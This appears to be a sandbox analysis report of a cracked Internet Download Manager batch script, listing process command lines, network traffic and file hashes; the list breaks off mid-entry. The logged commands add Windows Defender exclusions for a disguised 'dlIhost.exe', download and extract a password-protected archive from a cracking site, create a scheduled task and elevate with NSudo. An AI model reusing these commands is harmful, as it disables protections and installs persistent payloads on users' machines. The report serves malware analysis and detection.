C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split ':PowerShellTest:\s*';iex ($f[1])"

C:\Windows\System32\find.exe

find /i "FullLanguage"

C:\Windows\System32\fltMC.exe

fltmc

C:\Windows\System32\conhost.exe

conhost.exe powershell.exe "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); $t.DefinePInvokeMethod('GetStdHandle', 'kernel32.dll', 22, 1, [IntPtr], @([Int32]), 1, 3).SetImplementationFlags(128); $t.DefinePInvokeMethod('SetConsoleMode', 'kernel32.dll', 22, 1, [Boolean], @([IntPtr], [Int32]), 1, 3).SetImplementationFlags(128); $k=$t.CreateType(); $b=$k::SetConsoleMode($k::GetStdHandle(-10), 0x0080); & cmd.exe '/c' '"""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat""" -el r1 -qedit'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); $t.DefinePInvokeMethod('GetStdHandle', 'kernel32.dll', 22, 1, [IntPtr], @([Int32]), 1, 3).SetImplementationFlags(128); $t.DefinePInvokeMethod('SetConsoleMode', 'kernel32.dll', 22, 1, [Boolean], @([IntPtr], [Int32]), 1, 3).SetImplementationFlags(128); $k=$t.CreateType(); $b=$k::SetConsoleMode($k::GetStdHandle(-10), 0x0080); & cmd.exe '/c' '\"C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat\" -el r1 -qedit'"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" -el r1 -qedit"

C:\Windows\System32\sc.exe

sc query Null

C:\Windows\System32\find.exe

find /i "RUNNING"

C:\Windows\System32\findstr.exe

findstr /v "$" "IDM.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ver

C:\Windows\System32\reg.exe

reg query "HKCU\Console" /v ForceV2

C:\Windows\System32\find.exe

find /i "0x0"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c echo prompt $E | cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "

C:\Windows\System32\cmd.exe

cmd

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split ':PowerShellTest:\s*';iex ($f[1])"

C:\Windows\System32\find.exe

find /i "FullLanguage"

C:\Windows\System32\fltMC.exe

fltmc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property CreationClassName"

C:\Windows\System32\find.exe

find /i "computersystem"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "dlIhost.exe" -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value" 2>nul

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value"

C:\Windows\System32\reg.exe

reg query HKU\\Software

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid" 2>nul

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid"

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software

C:\Windows\System32\reg.exe

reg delete HKCU\IAS_TEST /f

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\IAS_TEST /f

C:\Windows\System32\reg.exe

reg add HKCU\IAS_TEST

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\IAS_TEST

C:\Windows\System32\reg.exe

reg delete HKCU\IAS_TEST /f

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\IAS_TEST /f

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE

C:\Windows\System32\reg.exe

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\DownloadManager" /v ExePath 2>nul

C:\Windows\System32\reg.exe

reg query "HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\DownloadManager" /v ExePath

C:\Windows\System32\reg.exe

reg add HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST /f

C:\Windows\System32\mode.com

mode 75, 28

C:\Windows\System32\choice.exe

choice /C:1234567 /N

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "NSudo86x.exe" -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "7za.exe" -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command "Invoke-WebRequest 'https://www.crackingcity.com/VScan/dlIhost.7z' -OutFile 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z'"

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e "C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z" -o"C:\Users\Admin\AppData\Roaming\DLL" -pun#912345678@rar -aoa

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /xml ".\UpdateTask.xml" /tn "UpdateTask" /f

C:\Windows\System32\mode.com

mode 113, 35

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=34;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"

C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe

NSudo86x -U:C -P:E -UseCurrentConsole "C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /onboot

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.crackingcity.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd8ba946f8,0x7ffd8ba94708,0x7ffd8ba94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3980 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5380 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,15100255415038929285,2165676977966119255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4020 /prefetch:1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 www.crackingcity.com udp
US 104.21.7.65:443 www.crackingcity.com tcp
US 8.8.8.8:53 65.7.21.104.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 133.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 134.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 www.crackingcity.com udp
US 104.21.7.65:80 www.crackingcity.com tcp
US 104.21.7.65:80 www.crackingcity.com tcp
US 104.21.7.65:443 www.crackingcity.com tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 i0.wp.com udp
US 8.8.8.8:53 c0.wp.com udp
GB 142.250.200.10:443 ajax.googleapis.com tcp
US 192.0.77.2:443 i0.wp.com tcp
US 8.8.8.8:53 stats.wp.com udp
US 192.0.77.2:443 i0.wp.com tcp
US 192.0.77.2:443 i0.wp.com tcp
US 192.0.76.3:443 stats.wp.com tcp
US 8.8.8.8:53 227.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 10.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 74.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 2.77.0.192.in-addr.arpa udp
US 8.8.8.8:53 3.76.0.192.in-addr.arpa udp
US 8.8.8.8:53 s10.histats.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 104.20.66.115:443 s10.histats.com tcp
US 8.8.8.8:53 apps.identrust.com udp
US 2.18.190.80:80 apps.identrust.com tcp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 s4.histats.com udp
US 216.239.34.36:443 region1.google-analytics.com tcp
CA 149.56.240.130:443 s4.histats.com tcp
US 8.8.8.8:53 e.dtscout.com udp
DE 141.101.120.10:443 e.dtscout.com tcp
US 8.8.8.8:53 72.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 115.66.20.104.in-addr.arpa udp
US 8.8.8.8:53 80.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 36.34.239.216.in-addr.arpa udp
US 8.8.8.8:53 130.240.56.149.in-addr.arpa udp
US 8.8.8.8:53 t.dtscout.com udp
US 8.8.8.8:53 10.120.101.141.in-addr.arpa udp
N/A 224.0.0.251:5353 udp

Files

C:\Users\Admin\AppData\Local\Temp\ytmp\main.bat

MD5 3ed6946c40da68e805c93aa96c79b246
SHA1 8a26d82d1c00ad39154dcc912b06aa63d543f9d9
SHA256 1a59a3037d6da10a939c6a54bfbde37ec9c8727ff5b546f36f4ace1258462abb
SHA512 7c6575ff020c97fc5578d9bbeaa1c1007a75e68a57644d8ff9eb64fd8844305123dea44a6d6eb78339d188c35215f3f9bec9119b7dfa107378bcb23abc9844ea

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

MD5 e3c061fa0450056e30285fd44a74cd2a
SHA1 8c7659e6ee9fe5ead17cae2969d3148730be509b
SHA256 e0e2c7d0f740fe2a4e8658ce54dfb6eb3c47c37fe90a44a839e560c685f1f1fa
SHA512 fe7796b4c5aa07c40aa2511a987fed59366d3c27bf7343f126f06cb937bfe7a7d8bd6cd785a7e3dc9087b99973e8542b6da7be6eed4585bd3cee13164aed79b4

C:\Users\Admin\AppData\Local\Temp\ytmp\files.tmp

MD5 86efb592316773110c1b67b8569ea5d8
SHA1 88ac080d92474ef17fa797c17c924de4c6218407
SHA256 dc664bb88edc327f890b9a052281718066bcb220c7f6541426ad475eae66fd7c
SHA512 d90f94d3a967ec1b86ef0ce29fba345679049b477d3212149b4ee852c860ca1c8dd4dbf8d21d919b598cde72190e726275c5c5eda2ac453650a8c3e6ed13fb30

C:\Users\Admin\AppData\Local\Temp\ytmp\IDM0.bat

MD5 644a84d7571765b9f9aaa80b9e67a63e
SHA1 8b357804fc2a452389ad53f0de1797b05520fb71
SHA256 20bab1daa16f5e5d007b457bde1173adcaab22d2d94d5ebae5fcef1de653fa0f
SHA512 697103431bf31cdec2a88c1765c8f68f7659b2d6131e1d37e157c702b0074298dcd0fc458a81d6713b62e2dda1892890f94a9d70de12a9aecbc2e428ed44d379

C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat

MD5 8b019a913c58322bacbf082de4e81b80
SHA1 a0d503f7958f2acbf00122d265544b4b9b35337a
SHA256 d7509b810f2543daf3e7d1eac4efc381dfa445952a8822cec5b84587a18bdeb0
SHA512 636cee5a3e5fd714c6768f5b059ac68f36f5b3bcd1371fd94b7641c46768d5556f5afd3544937860daf8547a05b82f20a03cb93d4d437e288a0938f9f18c80a9

C:\Users\Admin\AppData\Local\Temp\ytmp\UpdateTask.xml

MD5 e73210cbd4a7e2d15a2c94d5b87809e7
SHA1 710435fd784881c8bef89e160eaf6c8b2c0d301f
SHA256 4856363aa60f7d0eb7191e1e7df628799aeab5c9faad36c6724fb86575b4f3e2
SHA512 6be102fdc073a184022d64ce92b0ef417c54ec0388bc02e5e3da6281cb96ac864313a41b1385b5a9ccbfb3c3cae27493e16863813743b5a635224e8771a3c3c1

memory/3008-67-0x00000000028A0000-0x00000000028D6000-memory.dmp

memory/3008-68-0x0000000005430000-0x0000000005A58000-memory.dmp

memory/1748-69-0x000002956F330000-0x000002956F352000-memory.dmp

memory/3008-70-0x0000000005270000-0x0000000005292000-memory.dmp

memory/3008-76-0x0000000005AD0000-0x0000000005B36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e35mx3v5.35z.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3008-77-0x0000000005B40000-0x0000000005BA6000-memory.dmp

memory/3008-87-0x0000000005BB0000-0x0000000005F04000-memory.dmp

memory/3008-94-0x0000000006240000-0x000000000625E000-memory.dmp

memory/3008-95-0x0000000006260000-0x00000000062AC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e5bfec1063a497048fffb231a0621403
SHA1 97cf6a89f237f43b9c22e3e081f7d45924d435ba
SHA256 325d1ffa65e9593a834f3662168d0c1950de148c63f1e43b86727087f3881d6f
SHA512 e38c5189054cf09fb15de017d0bbe226338124ee02bb04530943c8fcfc303dbe5fe5fd28c9c1aea1b552d1a2b0b76cabbedd284a38a07d41ec9cf9e55b44dd0e

memory/3008-107-0x0000000007200000-0x0000000007232000-memory.dmp

memory/3008-118-0x00000000067E0000-0x00000000067FE000-memory.dmp

memory/3008-108-0x0000000070CA0000-0x0000000070CEC000-memory.dmp

memory/3008-119-0x0000000007440000-0x00000000074E3000-memory.dmp

memory/3008-121-0x0000000007560000-0x000000000757A000-memory.dmp

memory/3008-120-0x0000000007BB0000-0x000000000822A000-memory.dmp

memory/3008-122-0x00000000075D0000-0x00000000075DA000-memory.dmp

memory/3008-132-0x00000000077E0000-0x0000000007876000-memory.dmp

memory/3008-133-0x0000000007760000-0x0000000007771000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1f0f8c49b22409ca78499f5df1ce9456
SHA1 5300f7ed636959c8c8366418e891dbe49a3edba9
SHA256 429128efcec165baf50a81021e610933e1020f5298d865f7b30daf370fb22014
SHA512 ca976a7ab0ef4782c3003433e8d99d34d8060cb3a8790e787b56db1e207902b9dd15ecb6e76fecbd00f5e83a8add34329b25f86b90c62055f0d0d1de5607d2af

memory/3008-145-0x0000000007790000-0x000000000779E000-memory.dmp

memory/3008-146-0x00000000077A0000-0x00000000077B4000-memory.dmp

memory/3008-147-0x00000000078A0000-0x00000000078BA000-memory.dmp

memory/3008-148-0x0000000007880000-0x0000000007888000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3613f4d620a55c8844fa5dc2af72aaa6
SHA1 338c9acd3b47e1966eeb9bd77eaff0e1da09fe9e
SHA256 52d6fafd5d1d6b3ba7d86c578e58dd38b2226866687fc4dcdf67eb1de2171e8f
SHA512 1bbd9a544bb7dae3155cc85eccbeaf2634c4eb8339a2aee3d3bf3bc15426681e2fc073ed352a8f2100ac273a09fd784933ec9d8195cb3f8bf36b6d58072e7b8c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b3eef459d31ebb4b7170509757b3f27c
SHA1 e99d2f4741f8c4ae1f2425b762a864cba417c154
SHA256 777d6ded0e7432d2ab9da913407359cba083a6c65fee1fbc0b49e708915757f5
SHA512 4d35dffe07c934a24b3bbe84dac524ee6b1753fb86ea1335734ae98f99476da2b06e73df6b8b7820bafa37229a68484d37e9829fc9be8f9dde67fea1ccb83201

memory/4060-182-0x0000000070CA0000-0x0000000070CEC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f2bcf404802d4ff71b7b4151586157d3
SHA1 148c0d081f014bd302f30e551fcb50c8f03da8f6
SHA256 2a4ab88307e3172cacb5c91769c78f5c11195d5c2af767e46dfe8546596d6fd3
SHA512 a32045b4fdbe13133490e2886cb962004e86f75924cc697de23d028f9813d62a0a0d03fedc2de6d8089f61f16b0aac05747e694d7dfbf71e69603953da7b0e13

memory/5056-205-0x0000000070CA0000-0x0000000070CEC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 af5033a7ebbe2ae50027500bca709ced
SHA1 cdaab0b118b5c667aca7b3c78bc5ac32250084bd
SHA256 be295aa26a6e8957b731567f92a1353e1ef9336d5dfb05111ca0cb3faa0cf01f
SHA512 2890aa6349f3d1be2331b20c2be806ba91b3f75ae70112ba4db1e0e7d7ced72847b07b73bf14773206c0059193fc60abcf2a7036729b50cb9cb1242d820de3f2

memory/2592-226-0x0000000070CA0000-0x0000000070CEC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9306b8aa7879be5b87015d9bb9e272e9
SHA1 bb8d75a1ae9da0526e8600fa3c62f0d5b437c944
SHA256 908e2f0a8ea7ddf53e88aff04262c288825d602fbe95db7d70e0b93ba3c3472f
SHA512 9eb8fe7c1f8573c51e128cb9d078524ba3e2932b1c3a57fba48063f3ea46b2930cb2d2b4c6c421559d70e5465c300172d85a065b1932c2b2040543f7fa9247de

C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z

MD5 35d2f7e606e80d13799e502246b053b4
SHA1 2b46b900b841b6c64944c71db2959bf8dd7c403f
SHA256 e5ae86782e9cbb3fe9d166cea82cff7607c6dfbb5d0773acda15ce3588e3613e
SHA512 0d968151aacb5e65915e3618a151d21b3424d6a9e63b702b4296939bfb13c09b35b872e95f4bfb8eb1ae86de802e434ccd2b68f224b382fe9c0ce83965699bc4

C:\Users\Admin\AppData\Local\Temp\ytmp\UpdateTask.xml

MD5 674d0de94982b1c47e117a9d49cccf3a
SHA1 40bed413cb06ea2d4107d6dd132b2a518b950a48
SHA256 cde1da524b4f058d894585c6d9f14771d0471065737f8ed024060f15b224a57b
SHA512 981b2ea83b202cb460f9d3baa80cdf1671429ee02d0966313587bb2b77dc4991908d9107014acc931e8058243b934ed1dd1f38d46cf46019ff8b35965055482b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d181efae3e6d1d20c1827d32fea8ca9e
SHA1 41693862459efbec2f8203377f8ca05de027cf10
SHA256 8a43be798a2b9ecd1a6ad320d9caa535571876f49d801f24d76fab28d359d989
SHA512 50393bed47f12b37ad6e7ba2952ef4acf01974ace7051822a01c1033c912de0d9f04ecc6bfd482735f09a999057bc55690e5b5c78f6379549431bcf2a42f86de

C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe

MD5 6f69cf85748b3447bfd80a22a4f74564
SHA1 903553bd1afcdff1565e705f77c617c7f3297aee
SHA256 37268f71b2b84f8e67985c51215607c08f09b71c86f7412e7ff0f1480eda3f65
SHA512 0e6d0553f150e16927b96113ffe59896766cc816db93a14cf76ed363df0514569c0ff9808e2b2f6bfcd4f4b06004d435be6dad6023af8abdc1c7687575b185d2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 4dc6fc5e708279a3310fe55d9c44743d
SHA1 a42e8bdf9d1c25ef3e223d59f6b1d16b095f46d2
SHA256 a1c5f48659d4b3af960971b3a0f433a95fee5bfafe5680a34110c68b342377d8
SHA512 5874b2310187f242b852fa6dcded244cc860abb2be4f6f5a6a1db8322e12e1fef8f825edc0aae75adbb7284a2cd64730650d0643b1e2bb7ead9350e50e1d8c13

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 bd99ee3e842ab33465135e9e2089515f
SHA1 9e0507c71665443dfd983dfc6772067ab951c1d2
SHA256 1121ed28eade97df2e1126b1de0109474f3de5342faadd8d1d3b2d8d7d36ca2e
SHA512 f06e5ace52f7dedcc72031e3e22b4b159bb61de35cfb9156eaf4e818b6e53526c0833a280aeb9331a5aa701fc9a1f4da5447f969d10f851604001c622ad42ca9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

